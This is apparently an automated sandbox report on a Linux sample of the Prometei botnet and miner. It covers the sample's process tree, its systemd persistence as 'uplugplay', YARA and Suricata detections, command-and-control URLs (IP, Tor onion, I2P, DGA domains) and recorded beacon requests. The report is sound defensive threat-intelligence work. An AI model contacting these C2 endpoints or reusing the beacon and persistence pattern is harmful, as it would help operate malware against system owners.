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Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1639165
MD5:	ea80b91000352183682d5ad1ff2d6b7b
SHA1:	12defadbf0a82722b05563b8701ce79dda795a23
SHA256:	6134a2d5c7183945f5aca5cd821a1ba244a7996c2ce22a87b53c16d368c3725b
Tags:	elfPrometeiuser-abuse_ch
Infos:

Detection

Prometei

Score:	100
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Prometei

Drops files in suspicious directories

Found Tor onion address

Sample deletes itself

Sample is packed with UPX

Creates hidden files and/or directories

ELF contains segments with high entropy indicating compressed/encrypted content

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "pgrep" command search for and/or send signals to processes

Executes the "systemctl" command used for controlling the systemd system and service manager

Executes the "uname" command used to read OS and architecture name

HTTP GET or POST without a user agent

Reads CPU information from /proc indicative of miner or evasive malware

Reads CPU information from /sys indicative of miner or evasive malware

Reads system information from the proc file system

Sample contains only a LOAD segment without any section mappings

Sample listens on a socket

Sample tries to set the executable flag

Suricata IDS alerts with low severity for network traffic

Uses the "uname" system call to query kernel version information (possible evasion)

Writes ELF files to disk

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1639165
Start date and time:	2025-03-15 03:40:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	na.elf
Detection:	MAL
Classification:	mal100.troj.evad.linELF@0/5@4/0

Runtime Messages

Command:	/tmp/na.elf
PID:	5485
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	Starting... System install...OK
Standard Error:	Created symlink /etc/systemd/system/multi-user.target.wants/uplugplay.service /lib/systemd/system/uplugplay.service.

Process Tree

system is lnxubuntu20

na.elf (PID: 5485, Parent: 5411, MD5: ea80b91000352183682d5ad1ff2d6b7b) Arguments: /tmp/na.elf

na.elf New Fork (PID: 5488, Parent: 5485)

sh (PID: 5488, Parent: 5485, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep na.elf"

sh New Fork (PID: 5489, Parent: 5488)

pgrep (PID: 5489, Parent: 5488, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep na.elf

na.elf New Fork (PID: 5492, Parent: 5485)

sh (PID: 5492, Parent: 5485, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof na.elf"

sh New Fork (PID: 5493, Parent: 5492)

pidof (PID: 5493, Parent: 5492, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof na.elf

na.elf New Fork (PID: 5496, Parent: 5485)

sh (PID: 5496, Parent: 5485, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep uplugplay"

sh New Fork (PID: 5497, Parent: 5496)

pgrep (PID: 5497, Parent: 5496, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep uplugplay

na.elf New Fork (PID: 5500, Parent: 5485)

sh (PID: 5500, Parent: 5485, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pgrep upnpsetup"

sh New Fork (PID: 5501, Parent: 5500)

pgrep (PID: 5501, Parent: 5500, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pgrep upnpsetup

na.elf New Fork (PID: 5506, Parent: 5485)

sh (PID: 5506, Parent: 5485, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pidof upnpsetup"

sh New Fork (PID: 5507, Parent: 5506)

pidof (PID: 5507, Parent: 5506, MD5: f58f67968fc50f1497f9ea9e9c22b6e8) Arguments: pidof upnpsetup

na.elf New Fork (PID: 5508, Parent: 5485)

sh (PID: 5508, Parent: 5485, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl daemon-reload"

sh New Fork (PID: 5509, Parent: 5508)

systemctl (PID: 5509, Parent: 5508, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl daemon-reload

na.elf New Fork (PID: 5513, Parent: 5485)

sh (PID: 5513, Parent: 5485, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable uplugplay.service"

sh New Fork (PID: 5514, Parent: 5513)

systemctl (PID: 5514, Parent: 5513, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable uplugplay.service

na.elf New Fork (PID: 5520, Parent: 5485)

sh (PID: 5520, Parent: 5485, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl start uplugplay.service"

sh New Fork (PID: 5521, Parent: 5520)

systemctl (PID: 5521, Parent: 5520, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl start uplugplay.service

systemd New Fork (PID: 5511, Parent: 5510)

snapd-env-generator (PID: 5511, Parent: 5510, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5518, Parent: 5517)

snapd-env-generator (PID: 5518, Parent: 5517, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

systemd New Fork (PID: 5522, Parent: 1)

uplugplay (PID: 5522, Parent: 1, MD5: ea80b91000352183682d5ad1ff2d6b7b) Arguments: /usr/sbin/uplugplay

uplugplay New Fork (PID: 5532, Parent: 5522)

uplugplay New Fork (PID: 5533, Parent: 5532)

sh (PID: 5533, Parent: 5532, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "/usr/sbin/uplugplay -Dcomsvc"

sh New Fork (PID: 5534, Parent: 5533)

uplugplay (PID: 5534, Parent: 5533, MD5: ea80b91000352183682d5ad1ff2d6b7b) Arguments: /usr/sbin/uplugplay -Dcomsvc

uplugplay New Fork (PID: 5538, Parent: 5534)

sh (PID: 5538, Parent: 5534, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c hostnamectl

sh New Fork (PID: 5539, Parent: 5538)

hostnamectl (PID: 5539, Parent: 5538, MD5: b1245aa6d3c28b5d5fedb2d681d32eb9) Arguments: hostnamectl

uplugplay New Fork (PID: 5679, Parent: 5534)

sh (PID: 5679, Parent: 5534, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c uptime

sh New Fork (PID: 5680, Parent: 5679)

uptime (PID: 5680, Parent: 5679, MD5: 3ad70d8e33316ac713bf25c2ddf2fb14) Arguments: uptime

uplugplay New Fork (PID: 5683, Parent: 5534)

sh (PID: 5683, Parent: 5534, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "uname -a"

sh New Fork (PID: 5684, Parent: 5683)

uname (PID: 5684, Parent: 5683, MD5: 4ac7c634c5bec95753c480e9d421dcc2) Arguments: uname -a

systemd New Fork (PID: 5542, Parent: 1)

systemd-hostnamed (PID: 5542, Parent: 1, MD5: 2cc8a5576629a2d5bd98e49a4b8bef65) Arguments: /lib/systemd/systemd-hostnamed

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Prometei		No Attribution	https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html https://cujo.com/iot-malware-journals-prometei-linux/ https://twitter.com/IntezerLabs/status/1338480158249013250 https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
na.elf	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x5bcdb:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45

Dropped Files

Source	Rule	Description	Author	Strings
/usr/sbin/uplugplay	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x5bcdb:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45

Memory Dumps

Source	Rule	Description	Author	Strings
5485.1.0000000000401000.00000000004f9000.r-x.sdmp	Linux_Hacktool_Flooder_1a4eb229	unknown	unknown	0x9beb:$a: F4 8B 45 E8 83 C0 01 89 45 F8 EB 0F 8B 45 E8 83 C0 01 89 45 F4 8B
5485.1.0000000000401000.00000000004f9000.r-x.sdmp	Linux_Hacktool_Flooder_f454ec10	unknown	unknown	0xb569:$a: 8B 45 EC 48 63 D0 48 8B 45 D0 48 01 D0 0F B6 00 3C 2E 75 4D 8B
5485.1.000000000052d000.0000000001575000.rw-.sdmp	Linux_Trojan_Dofloo_ac3333d1	unknown	unknown	0x7190db:$a: 76 77 78 95 5C C9 95 79 7A C9 95 5C C9 41 42 43 5C C9 95 5C 44 45
Process Memory Space: na.elf PID: 5485	JoeSecurity_Prometei	Yara detected Prometei	Joe Security

Suricata Signatures

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-15T03:43:20.021937+0100	2018141	1	A Network Trojan was detected	34.245.175.187	80	192.168.2.14	33852	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-15T03:43:20.021937+0100	2037771	1	A Network Trojan was detected	34.245.175.187	80	192.168.2.14	33852	TCP

ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-15T03:43:19.064246+0100	2044560	1	A Network Trojan was detected	192.168.2.14	46231	8.8.8.8	53	UDP
2025-03-15T03:43:19.073843+0100	2044560	1	A Network Trojan was detected	192.168.2.14	43639	8.8.8.8	53	UDP
2025-03-15T03:43:19.174686+0100	2044560	1	A Network Trojan was detected	192.168.2.14	39711	8.8.8.8	53	UDP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-15T03:41:17.760401+0100	2803305	3	Unknown Traffic	192.168.2.14	40758	152.36.128.18	80	TCP
2025-03-15T03:43:20.013772+0100	2803305	3	Unknown Traffic	192.168.2.14	33852	34.245.175.187	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: na.elf

Avira: detected

Antivirus detection for dropped file

Source: /usr/sbin/uplugplay

Avira: detection malicious, Label: LINUX/GM.Agent.JQ

Multi AV Scanner detection for submitted file

Source: na.elf	Virustotal: Detection: 33%			Perma Link
Source: na.elf	ReversingLabs: Detection: 44%

Bitcoin Miner

Yara detected Prometei

Source: Yara match

File source: Process Memory Space: na.elf PID: 5485, type: MEMORYSTR

Source: /usr/sbin/uplugplay (PID: 5534)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Source: /usr/bin/pgrep (PID: 5489)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pgrep (PID: 5501)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/sbin/uplugplay (PID: 5534)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/uptime (PID: 5680)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.14:46231 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.14:39711 -> 8.8.8.8:53
Source: Network traffic	Suricata IDS: 2044560 - Severity 1 - ET MALWARE Prometei Botnet CnC DGA - xinchao Pattern : 192.168.2.14:43639 -> 8.8.8.8:53

Found Tor onion address

Source: na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi
Source: na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: nNhttp://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgihttp://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi/usr/sbin/uplugplay/etc/uplugplay/etc/CommIdcrashed.dump/usr/sbin//etc/msdtcmsdtc2msdtc3/etc/pcc0/etc/pcc1pbdebug

Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=4&i=J6MV94Q8O3QR1VZ4 HTTP/1.0Host: 152.36.128.18
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=J6MV94Q8O3QR1VZ4&enckey=5w3tBBBdBr/5/4-Y68kFcsBY2M/xV56cuZjNmN6HWdizy3m6rqk2sHOaa0wQhKYooD/LqsH51AOY08Ix6M7SvAJiJreaCIZrrTS-civdqY5FWIwmKjQKSuaHi23n75sN-ykLeSZB0Oar1PyL4v3BbSf0z3U8IpUl7dYRLkv74Zc_ HTTP/1.0Host: xinchaobecfda.net
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&i=J6MV94Q8O3QR1VZ4 HTTP/1.0Host: 172.16.3.2

Source: /usr/sbin/uplugplay (PID: 5534)

Socket: 0.0.0.0:89

Jump to behavior

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.14:40758 -> 152.36.128.18:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.14:33852 -> 34.245.175.187:80
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.245.175.187:80 -> 192.168.2.14:33852
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.245.175.187:80 -> 192.168.2.14:33852

Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18
Source: unknown	TCP traffic detected without corresponding DNS query: 152.36.128.18

Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=4&i=J6MV94Q8O3QR1VZ4 HTTP/1.0Host: 152.36.128.18
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&auth=hash&i=J6MV94Q8O3QR1VZ4&enckey=5w3tBBBdBr/5/4-Y68kFcsBY2M/xV56cuZjNmN6HWdizy3m6rqk2sHOaa0wQhKYooD/LqsH51AOY08Ix6M7SvAJiJreaCIZrrTS-civdqY5FWIwmKjQKSuaHi23n75sN-ykLeSZB0Oar1PyL4v3BbSf0z3U8IpUl7dYRLkv74Zc_ HTTP/1.0Host: xinchaobecfda.net
Source: global traffic	HTTP traffic detected: GET /cgi-bin/p.cgi?r=0&i=J6MV94Q8O3QR1VZ4 HTTP/1.0Host: 172.16.3.2

Source: global traffic	DNS traffic detected: DNS query: xinchaobecfda.com
Source: global traffic	DNS traffic detected: DNS query: xinchaobecfda.net
Source: global traffic	DNS traffic detected: DNS query: xinbecfda.org

Source: na.elf, uplugplay.12.dr	String found in binary or memory: http://152.36.128
Source: na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://152.36.128.18/cgi-bin/p.cgi
Source: na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://152.36.128.18/cgi-bin/p.cgihttp://dummy.zero/cgi-bin/prometei.cgihttps://gb7ni5rgeexdcncj.oni
Source: na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://dummy.zero/cgi-bin/prometei.cgi
Source: na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: http://mkhkjxgchtfgu7uhofxzgoawntfzrkdccymveektqgpxrpjb72oq.b32.i2p/cgi-bin/prometei.cgi
Source: na.elf, uplugplay.12.dr	String found in binary or memory: http://upx.sf.net
Source: na.elf, 5485.1.000000000052d000.0000000001575000.rw-.sdmp	String found in binary or memory: https://gb7ni5rgeexdcncj.onion/cgi-bin/prometei.cgi

System Summary

Malicious sample detected (through community Yara rule)

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: 5485.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_1a4eb229 Author: unknown
Source: 5485.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_f454ec10 Author: unknown
Source: 5485.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown
Source: /usr/sbin/uplugplay, type: DROPPED	Matched rule: Linux_Trojan_Dofloo_ac3333d1 Author: unknown

Source: LOAD without section mappings

Program segment: 0x400000

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: 5485.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_1a4eb229 reference_sample = bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = de076ef23c2669512efc00ddfe926ef04f8ad939061c69131a0ef9a743639371, id = 1a4eb229-a194-46a5-8e93-370a40ba999b, last_modified = 2021-09-16
Source: 5485.1.0000000000401000.00000000004f9000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Hacktool_Flooder_f454ec10 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 0297e1ad6e180af85256a175183102776212d324a2ce0c4f32e8a44a2e2e9dad, license = Elastic License v2, threat_name = Linux.Hacktool.Flooder, fingerprint = 2ae5e2c3190a4ce5d238efdb10ac0520987425fb7af52246b6bf948abd0259da, id = f454ec10-7a67-4717-9e95-fecb7c357566, last_modified = 2022-01-26
Source: 5485.1.000000000052d000.0000000001575000.rw-.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26
Source: /usr/sbin/uplugplay, type: DROPPED	Matched rule: Linux_Trojan_Dofloo_ac3333d1 severity = 100, os = linux, arch_context = x86, creation_date = 2022-01-05, scan_context = file, memory, reference = 04664dc5ea14ddff5301e66c46d6795f1582c148b5cb621248424d015245c95e, license = Elastic License v2, threat_name = Linux.Trojan.Dofloo, fingerprint = a8f360e2a545e65b5f9f2273715c1a5008a0fe4f88f6e14becd6e69158aab409, id = ac3333d1-df88-459b-a411-00b4fc947f3f, last_modified = 2022-01-26

Source: classification engine

Classification label: mal100.troj.evad.linELF@0/5@4/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 4.24 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $

Source: /usr/bin/pidof (PID: 5493)	Directory: //.	Jump to behavior
Source: /usr/bin/pidof (PID: 5507)	Directory: //.	Jump to behavior
Source: /lib/systemd/systemd-hostnamed (PID: 5542)	Directory: <invalid fd (10)>/..	Jump to behavior

Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1583/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/2672/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/110/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/110/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/111/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/111/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/112/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/112/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/113/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/113/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/234/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/234/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1577/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/114/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/114/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/235/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/235/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/115/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/115/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/116/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/116/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/117/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/117/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/118/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/118/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/119/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/119/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3636/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3636/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/10/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/10/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/917/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/917/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/11/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/11/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/12/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/12/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/13/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/13/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/14/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/14/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/15/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/15/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/16/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/16/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/17/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/17/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/18/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/18/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/19/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/19/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1593/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/240/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/240/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/120/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/120/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3094/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/121/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/121/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/242/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/242/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3406/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/122/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/122/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/243/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/243/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/2/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/2/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/123/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/123/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/244/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/244/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1589/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/3/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/124/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/124/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/245/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/245/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1588/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/125/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/125/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/4/status	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/4/cmdline	Jump to behavior
Source: /usr/bin/pgrep (PID: 5497)	File opened: /proc/246/status	Jump to behavior
